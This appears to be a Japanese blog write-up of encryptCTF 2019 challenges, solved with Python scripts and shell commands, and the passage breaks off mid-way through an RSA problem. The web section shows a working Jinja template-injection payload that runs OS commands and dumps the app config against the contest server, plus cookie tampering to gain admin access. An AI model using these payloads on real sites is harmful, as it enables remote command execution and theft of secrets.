好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

encryptCTF 2019 write-up

encryptCTF 2019に参戦してました!٩(๑❛ᴗ❛๑)۶ 

https://ctf.encryptcvs.cf/ctf.encryptcvs.cf

CTF time の説明を借りるとこんな感じ。

A jeopardy style, CTF organized by Computer Science Department of College of Vocational Studies, Delhi University, New Delhi, India (in Collaboration with Abs0lut3Pwn4g3) It’ll be a Beginner-Intermediate Level CTF.

インドのニューデリーにあるデリー大学職業研究学部コンピュータサイエンス学部が主催するCTF(Abs0lut3Pwn4g3と共同)。初級から中級レベルのCTFになります。

よっしゃ、初級から中級までなら力試しに良さそう!というのと、丁度お休みが一日被って時間が取れそうだったので張り切って参戦。

696チーム、1465ユーザーが登録していたようです。(公式発表ではなくScoreboardなどを見るに)
今回は下記の通り全部で10問解き、711pt, 220位でした。

f:id:kusuwada:20190404143019p:plain

  • Reversing: 1
  • Pwn: 0
  • Cryptography: 2
  • Web: 1
  • Forensics: 3
  • Steganography: 1
  • Misc: 2

f:id:kusuwada:20190404143024p:plain

picoCTFで Reversing, Binary 周りを鍛えたつもりでしたが、まだまだ実践レベルには及ばないようで難しかった…。解けた人数 == 難易度だとすると、Pwn, Reversingはかなり易し目だったっぽい。

今回再認識しましたが、私だいたい下の方のカテゴリから得意なようなので、今回も下の方の問題から解きました。write-upも下の方から。ほぼ解いた順。

[Misc] sanity check (1 pt, 496 solves)

問題文は無し。ルールページにある、flagのフォーマット例を入れたら通りました。

flag: encryptCTF{L3t5_H4CK}

[Misc] ham-me-baby-2 (50 pt, 90 solves)

can you ham-me-down?

nc 104.154.106.182 6969

とりあえず指定のホストに接続してみます。

$ nc 104.154.106.182 6969

                        Welcome To 

       ____                       __    _______________  
      / __/__  __________ _____  / /_  / ___/_  __/ __/  
     / _// _ \/ __/ __/ // / _ \/ __/ / /__  / / / _/    
    /___/_//_/\__/_/  \_, / .__/\__/  \___/ /_/ /_/      
                  ___/___/_/_____                        
                 |_  |/ _ <  / _ \                       
                / __// // / /\_, /                       
               /____/\___/_//___/                        
                                                             

you will be receiving hamming(7,4) codes. your job is to send data bits
from a 7 bit hamming code. 
 ___________________________________________________________________
|                                                                   |
|   DO YOUR RESEARCH : https://en.wikipedia.org/wiki/Hamming(7,4)   |
|  FLAG WILL BE PRINTED AFTER YOU SEND CORRECT DATA BITS 100 TIMES  |
|___________________________________________________________________|

and come back here. remember somebits could be flipped. you need to send
correct data bits.


[*] CODE: 1010000
[*] DATA: 

わぁ、なんか格好いいの出てきたぞ。
問題文と紹介されているwikipediaのリンク先を見ると、「ハミング符号(7,4)」の問題のようです。
詳細はこちら)。

問題では、誤りを含む可能性があるコード(CODE)が提示されるので、パリティチェックを実施・誤りを正した上で、正しいデータ(DATA)を解答します。

きっと誰かがライブラリを作ってくれるに違いない。できればpythonで!と思い、githubを漁ったらありました。

https://github.com/bjornkpu/Hamming-code

ここのコードを流用して、自動解答スクリプトを組んで実行すると、100回答えたところでFlagが出たんですよ!

b'CODE VALIDATED\nencryptCTF{hummmmm_hummmmmm}\n'

で、なんと一番乗りでflagを投げたのですが、一晩経ってみると「問題がバグってたので取り下げたよ」と。がーーん(இдஇ; )

ham-me-baby is back and finally its fixed

server follows even parity sorry for inconvenience

修正された問題に対して、上記で使ったスクリプトを流してみるも、途中で落ちてしまいます。どうやら修正したはずのDATAが間違っていることがあるみたいです。

ということで、通らなくなってしまったので、ちゃんとリンク先のwikipediaを読んでプログラムのバグを修正。結論からすると、使用したライブラリの修正するビットの場所の指定が間違ってました。あとでプルリク送っておこうかな。。。
そして、前のプログラムが通ったということはもしかして、作問した人も同じソース使ってたのかね?( ͡° ͜ʖ ͡°)

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
#
# this code refers bellow script.
# https://github.com/bjornkpu/Hamming-code

from pwn import *
import numpy as np

host = '104.154.106.182'
port = 6969

H = np.array([[1, 0, 1, 0, 1, 0, 1], [0, 1, 1, 0, 0, 1, 1], [0, 0, 0, 1, 1, 1, 1]])
Ht = []
for i in range(7):
    Ht.append(int(''.join(str(j) for j in H.T[i].tolist()), 2))

def humming_7_4_decode(decode_k):
    decode_k = list(map(int, str(decode_k)))
    Hk = np.dot(H, decode_k, out=None)
    e = np.mod(Hk, 2)
    e_string = ''.join(str(i) for i in e.tolist())

    if e_string == '000':
        data = str(decode_k[2]) + ''.join(str(i) for i in decode_k[4:])
        return data
    else:
        place = int(e_string, 2)
        place = Ht[int(e_string, 2) - 1]
        corrected_code = decode_k
        wrong_bit = decode_k[place-1]

        if wrong_bit == 1:
            corrected_code[place-1] = 0

        if wrong_bit == 0:
            corrected_code[place-1] = 1

        corrected_code = ''.join(str(i) for i in corrected_code)
        return corrected_code[2] + corrected_code[4:]

# main
counter = 0
r = remote(host, port)
while (counter < 100):
    r.recvuntil(b'CODE: ')
    code = r.recvuntil(b'\n').strip().decode()
    print('code: ' + code)
    data = humming_7_4_decode(code)
    r.recvuntil(b'DATA: ')
    print('data: ' + data)
    r.sendline(data)
    counter += 1
print(r.recv())
r.close()

実行結果

(前略)
code: 1101110
data: 0110
b"CODE VALIDATED\nhere's your flag: encryptCTF{1t_w4s_h4rd3r_th4n_1_th0ught}\n"

[Steganography] Into The Black (50 pt, 274 solves)

"My My, Hey Hey......,

Rock & Roll is here to stay..

It's better to burn up,

Then to fade away....,

My My, Hey Hey....."

DLできるimageはこちら。

f:id:kusuwada:20190404151030p:plain:w200

凄く見たことあるタイトルと画像。ヒストグラムを作ってあげて、怪しいところでしきい値を切って2値化します。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from PIL import Image
from pprint import pprint

filename = 'IntoTheBlack.png'

img = Image.open(filename)
width, height = img.size

img2 = Image.new('RGB', (width, height))

histgram = {}
for i in range(256):
    histgram[i] = 0

for h in range(height):
    for w in range(width):
        histgram[img.getpixel((w,h))[0]] += 1
        if img.getpixel((w,h))[0] > 0:
            img2.putpixel((w,h),(255,255,255))
pprint(histgram)
img2.show()

一度histgram作成段階で出力を見ます。

{0: 2066735,
 1: 746,
 2: 1220,
 3: 4899,
 4: 0,
 5: 0,
 6: 0,
 7: 0,
(以下略)

R値しか見ていませんが、どうやら 0,1,2,3 に集中しているようなので、しきい値を0と1の間に設けて、0だけ黒、その他は白に塗りつぶしました。

f:id:kusuwada:20190404151035p:plain:w200

[Forensics] Get Schwifty (10 pt, 191 Solves)

Evil Morty, the first democratically-elected President of the Citadel of Ricks, has killed off twenty-seven known Ricks from various dimensions, as well as capturing, torturing, and enslaving hundreds of Mortys. As a fellow Rick-less Morty, Investigator Rick gives you a file revealing Evil Morty's past and true nature. However he cannot seem to access it. Can you help recover it to stop Evil Morty ?

Download file here: link

なんか問題文が長いんですけど、ちらっと読んで詰まったらもう一度読もうと思ってそのままでした。
DLしたzipファイルを解凍すると、イメージファイルが。

$ file GetSchwifty.img 
GetSchwifty.img: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, Media descriptor 0xf8, sectors/FAT 128, sectors/track 62, heads 252, hidden sectors 2048, sectors 131072 (volumes > 32 MB), reserved 0x1, serial number 0xc722a144, label: "HP         ", FAT (16 bit)

foremostしたら画像がいくつか出てきて、その中にflagの書いてある画像がありました。

$ foremost -i GetSchwifty.img

f:id:kusuwada:20190404152211p:plain

[Forensics] Journey to the centre of the file 1 (75 pt, 248 solves)

"Nearly everything is really interesting if you go into it deeply enough …" - Richard Feynman

DLしてきたzipファイルを見てみます。

$ file ziptunnel1.gz 
ziptunnel1.gz: gzip compressed data, was "flag.zip", last modified: Tue Feb 26 10:00:55 2019, from Unix, original size 6011

解凍して中身を確認します。

$ gzip -d ziptunnel1.gz 
$ file ziptunnel1
ziptunnel1: Zip archive data, at least v1.0 to extract

ほう?再度解凍すると、今度はflag.gzが出てきました。。

$ unzip ziptunnel1
Archive:  ziptunnel1
 extracting: flag.gz                 
$ file flag.gz 
flag.gz: gzip compressed data, was "flag.zip", last modified: Tue Feb 26 10:00:55 2019, from Unix, original size 5828

もうどんだけ~!マトリョーシカか!

$ gzip -d flag.gz 
$ file flag
flag: Zip archive data, at least v1.0 to extract
$ unzip flag
Archive:  flag
 extracting: flag.gz                 
$ file flag.gz 
flag.gz: gzip compressed data, was "flag.zip", last modified: Tue Feb 26 10:00:55 2019, from Unix, original size 5647

手じゃ追いつかないので、スクリプト書いて実行しました。これ以上解凍できなくなったら終了。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import subprocess

file_zip = "flag"
file_gzip = "flag.gz"

def exec_command(cmd):
    print(cmd)
    try:
        res = subprocess.check_call(cmd)
    except Exception as e:
        print(e)
        raise("finish")
    print(res)
    return 0

counter = 0
while True:
    exec_command(['unzip', file_zip])
    exec_command(['rm', file_zip])
    exec_command(['gzip', '-d', file_gzip])
    print('counter: ' + str(counter))
    counter += 1

実行結果

(前略)
counter: 31
['unzip', 'flag']
Archive:  flag
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
unzip:  cannot find zipfile directory in one of flag or
        flag.zip, and cannot find flag.ZIP, period.
Command '['unzip', 'flag']' returned non-zero exit status 9.

ということで、31回目のループでこれ以上解凍出来なくなったみたいです。
最後に残ったflagファイルを見ると、flagが書いてありました。

encryptCTF{w422up_b14tch3s}

玉ねぎの皮むき、もしくはマトリョーシカ問題でした。

[Forensics] Journey to the centre of the file 2 (150 pt, 193 solves)

Improvise. Adapt. Overcome

またファイルが配布されました。

$ file ziptunnel2 
ziptunnel2: bzip2 compressed data, block size = 900k

今度は bzip2 形式のようです。解凍して中身を確認します。

$ tar jxf ziptunnel2
$ ls
flag        ziptunnel2
$ file flag 
flag: gzip compressed data, was "flag.zip", last modified: Tue Feb 26 10:11:56 2019, from Unix, original size 9388

今度は zip 形式のようです。多分今回もマトリョーシカ形式なんでしょう。flag ファイルも解凍します。

$ gzip -d flag 
gzip: flag: unknown suffix -- ignored

あれ。できません。調べたら、拡張子 gz をつけてあげないと、gzipコマンド効かないみたいです。

$ mv flag flag.gz
$ gzip -d flag.gz 
$ ls
flag
$ file flag 
flag: Zip archive data, at least v1.0 to extract

今度はzipファイル。

$ unzip flag 
Archive:  flag
replace flag? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
 extracting: flag                    
$ file flag 
flag: gzip compressed data, was "flag.zip", last modified: Tue Feb 26 10:11:56 2019, from Unix, original size 9237

ここいらでマトリョーシカの傾向が見えてきたので、またスクリプトを組みます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import subprocess

file_zip = "flag"
file_gzip = "flag.gz"

def exec_command(cmd):
    print(cmd)
    try:
        res = subprocess.check_call(cmd)
    except Exception as e:
        print(e)
        raise("finish")
    print(res)
    return 0

counter = 0
while True:
    # rename gzip "flag" -> "flag.gz"
    exec_command(['mv', file_zip, file_gzip])
    exec_command(['gzip', '-d', file_gzip])
    exec_command(['unzip', '-o', file_zip])
    print('counter: ' + str(counter))
    counter += 1

実行結果

(前略)
counter: 32
['mv', 'flag', 'flag.gz']
0
['gzip', '-d', 'flag.gz']
0
['unzip', '-o', 'flag']
Archive:  flag
  End-of-central-directory signature not found.  Either this file is not
  a zipfile, or it constitutes one disk of a multi-part archive.  In the
  latter case the central directory and zipfile comment will be found on
  the last disk(s) of this archive.
unzip:  cannot find zipfile directory in one of flag or
        flag.zip, and cannot find flag.ZIP, period.
Command '['unzip', '-o', 'flag']' returned non-zero exit status 9.

今度は32回目。最後に残ったflagファイルを確認します。

$ cat flag 
encryptCTF{f33ls_g00d_d0nt_it?}

同じ手で解けるとは思わなかった。

[Web] Sweeeeeet (50 pt, 174 solves)

競技中に解けなかった問題。WebのSweetといえばCookieでしょ!

Do you like sweets?

http://104.154.106.182:8080

"sewwts" のリンク先に動画が貼ってあったが、よく意味がわからない。今回 meme という名の画像や動画が多く問題文に貼ってあったが、意味がわからないものが多かった。文化圏が違うからなのか、本当に意味がないのかは不明…。

指定のurlにアクセスしてみる。

f:id:kusuwada:20190404152851p:plain

とりあえず、タイトルが sweet 系なので cookie を見てみると、flagというレコードが。

encryptCTF%7By0u_c4nt_U53_m3%7D

これをURLデコードして

encryptCTF{y0u_c4nt_U53_m3}

投げてみたら違いました。確かに、flagが you cant use me だわ。ちなみに他のweb問題のサイトも、全部このcookieがsetされていました。

もう一つのcookieUID=f899139df5e1059396431415e770c6dd

encryptCTF{f899139df5e1059396431415e770c6dd}

これも違う。

hashっぽかったので、オンラインのhash decodeサイトでdecodeしてみます。(DB検索)

Md5 Encryption & Decryption Gratuite - Plus de 10.000.000.000 hashs

すると、このhashは 100md5 hashであることが判明。ほーう!
じゃあ adminmd5 hash とかを UID cookie に set して reload したらどうなるかな?など、何通りか試しましたが、特に何も出てきませんでした。

と、ここまでは競技中にいったのですが、次がさっぱり思いつきませんでした。
競技後のDicordのやり取りで、 md5(0) を 入れてreloadするとflagが取れるっぽいコメントがあったので試してみると、FLAG cookie のところに違う値が出てきました…!

encryptCTF%7B4lwa4y5_Ch3ck_7h3_c00ki3s%7D%0A

url decode して、

encryptCTF{4lwa4y5_Ch3ck_7h3_c00ki3s}

うん、cookieはチェックしたんだよ。これは私には思いつかないっす…。が、174チームも解けたのか。すごい。
更にその後の会話で

unix systems have root with uid=0

its a fair assumption to make that lower uids tend to be administrators

だそうでーす。知らなかったよ。勉強になりました。

[Web] Slash Slash (50 pt, 174 solves)

//

DLできるファイルを解凍すると、沢山のファイル&フォルダが…

$ tree -L 3
.
├── application.py
├── env
│   ├── bin
│   │   ├── activate
│   │   ├── activate.csh
│   │   ├── activate.fish
│   │   ├── activate.ps1
│   │   ├── activate.xsh
│   │   ├── activate_this.py
│   │   ├── easy_install
│   │   ├── easy_install-3.6
│   │   ├── flask
│   │   ├── pip
│   │   ├── pip3
│   │   ├── pip3.6
│   │   ├── python -> python3
│   │   ├── python-config
│   │   ├── python3
│   │   ├── python3.6 -> python3
│   │   └── wheel
│   ├── include
│   │   └── python3.6m
│   └── lib
│       └── python3.6
├── requirements.txt
├── static
│   └── nottheroute.jpg
└── templates
    └── index.html

8 directories, 21 files

とりあえず、Webサーバーが立ち上がるっぽい構成なので、必要なモジュールをインストールして立ち上げてみます。

$ pip install -r requirements.txt 
(略)
$ python application.py 
 * Serving Flask app "application" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

立ち上がったっぽいぞ。ということで、ローカルサーバーにアクセスしてみます。http://127.0.0.1:5000/

f:id:kusuwada:20190404154629j:plain

この画像が出てきました。flagを探すのはここじゃないってこと?

タイトル・問題文からして、パストラバーサル系の // を頑張る系かと思ったので、色々調べる&試してみるが、特に引っかからない。

application.py に flagのpathがかいてあったので見に行ってみたが、空っぽ。
そもそもlocal環境で立ててるのに、特に環境変数とか設定した覚えがないので、ここに値は入ってこない。
ということは、環境構築時に叩く予定のスクリプトがあって、そこにflagが埋め込まれていると見る。

フォルダを片っ端からあさってみると、app/env/bin/activateというファイルが。後から思えばファイル名もズバリそのものであった。このファイルの末尾に、コメントアウトされた base64 encode されたflagが。

# export $(echo RkxBRwo= | base64 -d)="ZW5jcnlwdENURntjb21tZW50c18mX2luZGVudGF0aW9uc19tYWtlc19qb2hubnlfYV9nb29kX3Byb2dyYW1tZXJ9Cg=="

flag: encryptCTF{comments&indentations_makes_johnny_a_good_programmer}

Slash Slash とは何だったのか。

[Web] repeaaaaaat (150 pt, 123 solves)

こちらも競技中には解けなかった問題。
他の方のwrite-upを見つつ完成。

Can you repeaaaaaat?

http://104.154.106.182:5050

50ptでヒントあり。途中まで解ける気がしてたので、使わなかった。

f:id:kusuwada:20190404170953p:plain

こんなページが表示されます。スクロールしてもしても、ずーーーーっとこの絵がずらーっと続きます。

ソースを見てみます。

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>repeaaaaaat</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script>
        function repeat() {
            for(var i=0; i<10; i++) {
            lol = document.createElement("img")
            lol.src = "/static/lol.png"
            var shit = document.getElementById('shit')
            shit.appendChild(lol)
            }
        }
    </script>
    </head>
    <body onscroll=repeat()>
        Hello,<div id="shit">
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
            <img src='/static/lol.png'>
        </div> 
        <!-- Lz9zZWNyZXQ9ZmxhZw== -->
    </body>
</html>                         

おや、最終行のコメントが怪しいですね。base64 encodeされていそうです。decodeすると "/?secret=flag" となりました。
pathを変えてアクセスしてみます。

$ curl http://104.154.106.182:5050/?secret=flag

今度は最後の方のhtmlコメントが変わっています。

L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==

こちらもbase64 decodeすると、/lol_no_one_will_see_whats_here
また新しいpathにアクセスします。

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>FLAG</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="main.css">
    <script src="main.js"></script>
</head>
<body>
    <h1> aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2hcP3ZcPVBHakxoT2hNTFhjCg== </h1>
</body>
</html>

サイトのタイトルが FLAG になっています!これは期待…!

またbase64 decodeすると、今度はこんなページに誘導されました。https://www.youtube.com/watch\?v\=PGjLhOhMLXc
Mr. Robot | Hacking - YouTube

Mr.Robot というドラマのPVかな?picoCTF2018にもこんなタイトルの問題があったな。

ところでこのMr.Robotの人、もしやと思ったらボヘミアン・ラプソディフレディ・マーキュリーやってた役者さんですね!ハッカーとかの役やってたって言ってたので、これのことだったのか!とテンション上がる深夜4:00。

一応動画を見てみると、ハッキング場面の画面が結構詳細に載っていて、怪しいフレーズがたくさん出てくる。いくつかピックアップして(passwordとかdatabaseの名前とか)flagに突っ込んでみるも、どれもhitしません。

どうにもこうにもわからないのでちょっと戻って、今度は ?secret=**** に色々入れて試していると、時々違う base64 codeが。

$ curl http://104..182:5050/?secret=cat%20flag%2etxt
(略)
            <img src='/static/lol.png'>
        </div> cat flag.txt
        <!-- d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK -->
    </body>
</html>

decodeすると what_are_you_searching_for。ランダムな回数でこっちも出てくる見たいです。

https://www.youtube.com/watch?v=5rAOyh7YmEc

今度はこっちのYoutubeビデオに飛ばされました。 "Basement Jaxx - Where's Your Head At ( Official Video ) Rooty" だそうで。もうカオス。

repeaaaaat! とのことなので、ちょっとBanされないかビクビクしつつ、スクリプトで300回ほどリクエストを送り、戻り値に新規のコメントアウトが出てこないか確認します。ほら、200回繰り返したら本当のurlが出てくるかもしれないじゃないですか…。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

url = "http://104.154.106.182:5050/?secret=flag"

known_path = ["Lz9zZWNyZXQ9ZmxhZw==",
              "L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==",
              "d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK"]

for i in range(300):
    print(i)
    res = requests.get(url)
    is_found = False
    for k in known_path:
        if k in res.text:
            is_found = True
            break
        else:
            continue
    if not is_found:
        print(res)
        break

。。。

出てこなかった!

どうやら base64 encode された コメントはこの3種類のようです。そして、特に?secret=flagを入れなくてもランダムに3種類が登場するようです。

ここまでが競技中。此処から先は競技後のDiscordの会話より。

base64 text was a random one from 3 potential b64 texts

one of them would decode to ?secret= which would let you do template injection

確かに!?secret=flag を指定したとき、htmlの中に flag の文字列が現れていました。ここで気づけばよかった!picoCTFでやったばかりだったのに!

ということで、下記にアクセスして config の情報を抜いてみます。

http://104.154.106.182:5050/?secret={{config}}
(略)
</div> &lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: &#39;cf49d97a5680998cbddbee283eeb03adbeda772b&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: None, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: datetime.timedelta(seconds=43200), &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093}&gt;
        <!-- L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ== -->
(略)

おおー、ちゃんと config の中身が表示されました!
しかしsecretを取る問題だったら良かったのですが、ここにはflagは無いようです。

ちなみに、Server Side Template Injection (SSTI)の存在を確かめるためには、上記のように予め与えられるはずの変数 ({{config}}など)を試してみるよりも、簡単な数式とかで試すのが一般的みたい。{{9*9)}}とか。確かにこっちのほうが処理が軽い。

次に、周辺のファイルのリストを表示させてみます。
このあたりの記事を参考にしつつ組み立てます。

/?secret={{url_for.__globals__.os.popen('ls').read()}}

ここで使う url_for の仕様はこちら
結果、返却されるhtmlに下記が記載されます。

flag.txt
requirements.txt
static
templates

怪しいflag.txtを読ませてみます。

/?secret={{url_for.__globals__.os.popen('cat%20flag.txt').read()}}

このコマンドあたりを使えば、もう何でもできそう…。Template Injection、面白い…!

encryptCTF{!nj3c7!0n5_4r3_b4D}

[Cryptography] Hard Looks (75 pt, 95 solves)

こちらも競技時間内に解けなかった問題。

Does this look hard?

CipherText: ----------------------------------_---------------------------------------------------------_--------------__----__------------------------__---------------------------------_---------------------------------_-------_---_-------------------------------

2値なので、モールス信号かバイト列が思い浮かびます。

モールス信号の場合は区切りが不明だとしんどすぎるので、可能性の有りそうな "encrypt" と "flag" という文字列のモールス信号を生成して、上記とマッチする箇所があるかを検証しました。が、なさそう。

なので、2値のバイト列になおしてみます。

001001110010101100100110011010110010011100110011001000110011011100100011000110110010001100111111001000110010111100101111001100110010101100101111001011110010011100100010011101110010101100100011001100110010111100110011001010110010101001100111001100110011101100110011001000110010101001100111001011110001111100110011001011110010101100110111001011110010111100101010011001110011001100110011001011100110101100110011001111110010101100101011001011110010001100101111000111110011001001100111001101110011101100100010011011

もしくは、0,1を反転して

110110001101010011011001100101001101100011001100110111001100100011011100111001001101110011000000110111001101000011010000110011001101010011010000110100001101100011011101100010001101010011011100110011001101000011001100110101001101010110011000110011001100010011001100110111001101010110011000110100001110000011001100110100001101010011001000110100001101000011010101100110001100110011001100110100011001010011001100110000001101010011010100110100001101110011010000111000001100110110011000110010001100010011011101100100

この配列を8個ずつに分けて文字列に変換してみたりしましたが、どうも意味のあるものになりません。
血迷って6個単位に分けて、base64 decodeしたり、色々試しました。

ここまでが競技中。

競技後のDiscodで、まさかの「頭に 00 足すんやで」とのアドバイスが。確かに意味の通る言葉が生成されるように試行錯誤しましたが、まさか頭に足すとは!!!思いつかんでよ!ということで、組んでいたスクリプトをちょっと変えて実行。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import binascii

cipher = "--_--___--_-_-__--_--__--__-_-__--_--___--__--__--_---__--__-___--_---__---__-__--_---__--______--_---__--_-____--_-____--__--__--_-_-__--_-____--_-____--_--___--_---_--___-___--_-_-__--_---__--__--__--_-____--__--__--_-_-__--_-_-_--__--___--__--__--___-__--__--__--_---__--_-_-_--__--___--_-____---_____--__--__--_-____--_-_-__--__-___--_-____--_-____--_-_-_--__--___--__--__--__--__--_-___--__-_-__--__--__--______--_-_-__--_-_-__--_-____--_---__--_-____---_____--__--_--__--___--__-___--___-__--_---_--__-__"

binary = "00"

for c in cipher:
    if c == "-":
        binary += "1"
    elif c == "_":
        binary += "0"
print(binary)

counter = 0
b = ''
word = []
for c in binary:
    b += c
    if counter % 8 == 7:
        word.append(chr(int(b, 2)))
        b = ''
    counter += 1

flag = ''.join(word)
print(binascii.unhexlify(flag))

実行結果

$ python solve2.py 
00110110001101010011011001100101001101100011001100110111001100100011011100111001001101110011000000110111001101000011010000110011001101010011010000110100001101100011011101100010001101010011011100110011001101000011001100110101001101010110011000110011001100010011001100110111001101010110011000110100001110000011001100110100001101010011001000110100001101000011010101100110001100110011001100110100011001010011001100110000001101010011010100110100001101110011010000111000001100110110011000110010001100010011011101100100
b'encryptCTF{W45_17_H4RD_3N0UGH?!}'

でもこれも100チーム近く解けてるんだよな。すごい。

[Cryptography] RSA_Baby (100 pt, 226 solves)

RSA is one of the first public-key cryptosystems and is widely used for secure data transmission. In such a cryptosystem, the encryption key is public and it is different from the decryption key which is kept secret.

Google up, understand it, and the flag was encrypted with this attached Python Script.

DL対象のファイルは、下記の flag.encencrypt.py flga.enc

ciphertext: 
1899b6cd310966281b1593a420205588f12ab93af850ad7d9d810a502f6fe4ad93a58b5bbb747803ba33ac94cc5f227761e72bdd9857b7b0227f510683596791526b9295b20be39567fc9a556663e3b0e3fcc5b233e78e38a06b29314d897258fbe15b037d8ff25d272822571dd98dfa4ee5d066d707149a313ad0c93e79b4ee
n: 128966395847456823242327968366437151626287005604571543530020807653481854634432463567505579255075400846802686923763465498393221683867550824071176953747390881926123454738359879186455681851356414261155283802414873885574172144840447882087969615781486331849798315912869390710865738157974501171665601011723385435523

encrypt.py

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import gmpy2
import os

flag = open("flag.txt",'r')

p = getPrime(512)
q = 9896984395151566492448748862139262345387297785144637332499966426571398040295087125558780121504834847289828037371643927199404615218623314326851473129699891
n = p*q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)

message = bytes_to_long(flag.read())

ciphertext = pow(message,e,n)
ciphertext = long_to_bytes(ciphertext).encode('hex')

encrypt = open("flag.enc",'w')

encrypt.write("ciphertext: \n" + ciphertext + "\nn: " + str(n))
encrypt.close()
flag.close()
os.remove("./flag.txt")

n, p, q, e, d が求まっているので、plain textは plain = pow(cipher, d, n) で求まる。スクリプトかいて実行するのみ。

from Crypto.Util.number import *
import gmpy2

cipher = 0x1899b6cd310966281b1593a420205588f12ab93af850ad7d9d810a502f6fe4ad93a58b5bbb747803ba33ac94cc5f227761e72bdd9857b7b0227f510683596791526b9295b20be39567fc9a556663e3b0e3fcc5b233e78e38a06b29314d897258fbe15b037d8ff25d272822571dd98dfa4ee5d066d707149a313ad0c93e79b4ee
n = 128966395847456823242327968366437151626287005604571543530020807653481854634432463567505579255075400846802686923763465498393221683867550824071176953747390881926123454738359879186455681851356414261155283802414873885574172144840447882087969615781486331849798315912869390710865738157974501171665601011723385435523
q = 9896984395151566492448748862139262345387297785144637332499966426571398040295087125558780121504834847289828037371643927199404615218623314326851473129699891
p = n // q
e = 65537

phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)

plain = pow(cipher, d, n)
print(long_to_bytes(plain).strip())

実行結果

$ python solve.py
b'encryptCTF{74K1NG_B4BY_S73PS}'

[Cryptography] (TopNOTCH)SA (150 pt, 151 solves)

This admin's Obsession with RSA is beyond crazy, it's like he's being guided by some people more supreme, the top Notch of 7 Billion....

Anyways, here's the archive, you know the deal. GodSpeed!

topNotch.zip が与えられる。Notchは階級的な意味があるそうなので、トップ階級、という意味なのかな?
解凍すると、下記のファイルが。

$ unzip topNotch.zip 
Archive:  topNotch.zip
  inflating: encrypt.py              
  inflating: flag.enc                
  inflating: pubkey.pem

flag.enc は中に暗号文が。

$ cat flag.enc 
ciphertext: 
369ad6199548d8181c26d112d1061008c056f08c75339366435046a9a8fbf295

encrypt.py

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import gmpy2
import os

flag = open("flag.txt",'r')

p = getPrime(128)
q = getPrime(128)
n = p*q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)

message = bytes_to_long(flag.read())

ciphertext = pow(message,e,n)
ciphertext = long_to_bytes(ciphertext).encode('hex')
encrypt = open("flag.enc",'w')

encrypt.write("ciphertext: \n" + ciphertext)
encrypt.close()
flag.close()
pubkeyfile = open("pubkey.pem",'w')
pubkey = RSA.construct([long(n), long(e)])
pubkeyfile.write(pubkey.exportKey('PEM'))
pubkeyfile.close()

今回の条件は、暗号文、公開鍵、基底eが既知。
公開鍵をimportしてみて、Nを抽出します。

